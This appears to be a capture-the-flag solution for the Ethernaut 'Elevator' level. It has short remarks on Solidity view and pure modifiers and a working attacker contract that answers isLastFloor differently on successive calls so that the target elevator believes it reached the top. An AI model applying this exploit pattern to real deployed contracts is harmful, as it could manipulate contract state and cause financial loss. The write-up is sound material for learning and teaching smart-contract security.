• You can use the view function modifier on an interface in order to prevent state modifications. The pure modifier also prevents functions from modifying the state. Make sure you read Solidity's documentation and learn its caveats.
• An alternative way to solve this level is to build a view function which returns different results depends on input data but don't modify state, e.g. gasleft().
• I have created a contract with specified function and let contract call that function. Normally, this wouldn’t be a problem if pure or view is used. Because that way I wouldn’t be able to give different results in same transaction.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IElevator {
    function goTo(uint256 _floor) external;
}

contract ElevatorAttacker {
    bool entered = false;
    address target = 0x7a611241B681187a240798bc25a7d24d20Dfd7B8;

    function isLastFloor(uint256 _floor) external returns (bool s) {
        if(entered) {
            return true;
        }
        else {
            entered = true;
        }
    }

    function attack() public {
        IElevator(target).goTo(1);
    }
}